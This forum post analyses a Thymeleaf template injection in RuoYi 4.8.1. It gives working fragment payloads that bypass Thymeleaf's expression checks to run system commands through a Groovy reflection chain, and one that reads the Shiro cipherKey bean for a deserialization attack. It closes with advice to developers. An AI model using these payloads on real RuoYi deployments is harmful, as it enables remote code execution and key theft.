找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

420

积分

0

好友

56

主题
发表于 7 天前 | 查看: 9| 回复: 0

本文通过一个实际案例,分析若依(RuoYi)管理系统最新版本4.8.1中存在的Thymeleaf模板注入漏洞,并探讨如何绕过新的安全限制实现远程代码执行(RCE),以及进一步利用SpringBean获取ShiroKey的完整过程。

漏洞成因:不安全的模板拼接

该漏洞的核心位于CacheController.java文件的/getNames接口中:

@PostMapping("/getNames")
public String getNames(String fragment, ModelMap mmap) {
    mmap.put("cacheNames", cacheService.getCacheNames());
    return prefix + "/cache::" + fragment; // 漏洞点:用户输入fragment被直接拼接入模板路径
}

攻击者可控的fragment参数被直接拼接进Thymeleaf的模板片段表达式,构成了服务器端模板注入条件。

SSTI 绕过与命令执行

在已知该点存在SSTI漏洞的情况下,旧版本的利用方式(如直接反射调用Runtime.getRuntime().exec())已在最新的Thymeleaf中被SpringStandardExpressionUtils类的增强检查所禁止。但通过特定的Groovy语法和链式调用,可以绕过限制。

初始的绕过测试Payload如下,证明注入点有效:

fragment=__|$${#response.getWriter().print('111')}|__::.x

然而,直接构建如T(java.lang.Runtime).getRuntime().exec('calc')的表达式会被拦截。

构建Groovy方法链

经过分析,无法直接获取Runtime类,但可以通过SecurityManager作为跳板,利用Groovy的链式调用构建反射链:

  1. 获取SecurityManager Bean。
  2. 通过其getClass方法获取Class对象。
  3. 获取ClassLoader
  4. 加载java.lang.Runtime类。
  5. 获取getRuntime方法。
  6. 调用该方法获取Runtime实例。
  7. 获取exec方法。
  8. 反射调用exec执行系统命令。

在构造过程中,发现直接使用getMethods()会被拦截,但使用其属性形式getMethods(省略括号)可以绕过检测。最终构造出的可利用Payload格式如下(为清晰展示,已格式化,实际使用需拼接为一行):

fragment=__|$${ #bean('securityManager').getClass.classLoader
                .loadClass('java.lang.Runtime')
                .getMethods
                .find{ it.name == 'getRuntime' }
                .invoke(null)
                .exec('calc') }|__::.x

此利用链在特定JDK版本(如8u192)下可成功执行命令,高版本JDK可能存在其他防御机制。

深入利用:获取ShiroKey并实现RCE

在成功执行命令后,进一步分析发现,若依系统的Shiro密钥(CipherKey)由SpringBean管理,可以通过表达式注入直接获取,从而可能实现更隐蔽的RCE。

在系统配置中,ShiroConfig类定义了securityManager Bean,其中rememberMeManager()方法负责设置CipherKey

@Bean
public SecurityManager securityManager(UserRealm userRealm) {
    DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager();
    securityManager.setRememberMeManager(rememberMe ? rememberMeManager() : null); // 关键调用
    // ... 其他配置
    return securityManager;
}

public CustomCookieRememberMeManager rememberMeManager() {
    CustomCookieRememberMeManager cookieRememberMeManager = new CustomCookieRememberMeManager();
    if (StringUtils.isNotEmpty(cipherKey)) {
        // 使用配置的密钥
        cookieRememberMeManager.setCipherKey(Base64.decode(cipherKey));
    } else {
        // 或生成随机密钥
        cookieRememberMeManager.setCipherKey(CipherUtils.generateNewKey(128, "AES").getEncoded());
    }
    return cookieRememberMeManager;
}

通过SSTI漏洞,我们可以直接调用Spring容器获取rememberMeManager这个Bean,进而拿到其cipherKey属性(字节数组形式):

fragment=__|$${ #bean('rememberMeManager').cipherKey }|__::.x

获取到密钥的Base64编码形式后,攻击者便可以利用此密钥构造有效的Shiro反序列化攻击载荷,最终在服务端实现远程代码执行。这在Java安全渗透测试场景中是一种经典的攻击路径。

总结与反思

本次漏洞分析揭示了两个关键问题:

  1. 直接拼接用户输入到模板引擎指令是极度危险的行为,即使在框架层面增加了过滤,攻击者仍可能找到新的绕过方法。
  2. 敏感密钥(如Shiro CipherKey)的管理方式至关重要。通过SpringBean暴露的敏感属性,在存在其他漏洞(如SSTI)时,可能成为扩大攻击面的跳板。

开发者应及时关注依赖组件(如Thymeleaf)的安全更新,并对所有用户输入进行严格的校验和过滤。同时,对于安全相关的配置信息,应避免其以任何形式被潜在的攻击接口读取。




上一篇:程序员长期发展困境分析:从技术思维到人生规划的潜在得失
下一篇:HTTPS加密原理深度解析:从AES到RSA的完整数据传输安全机制
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-8 17:28 , Processed in 0.077054 second(s), 42 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表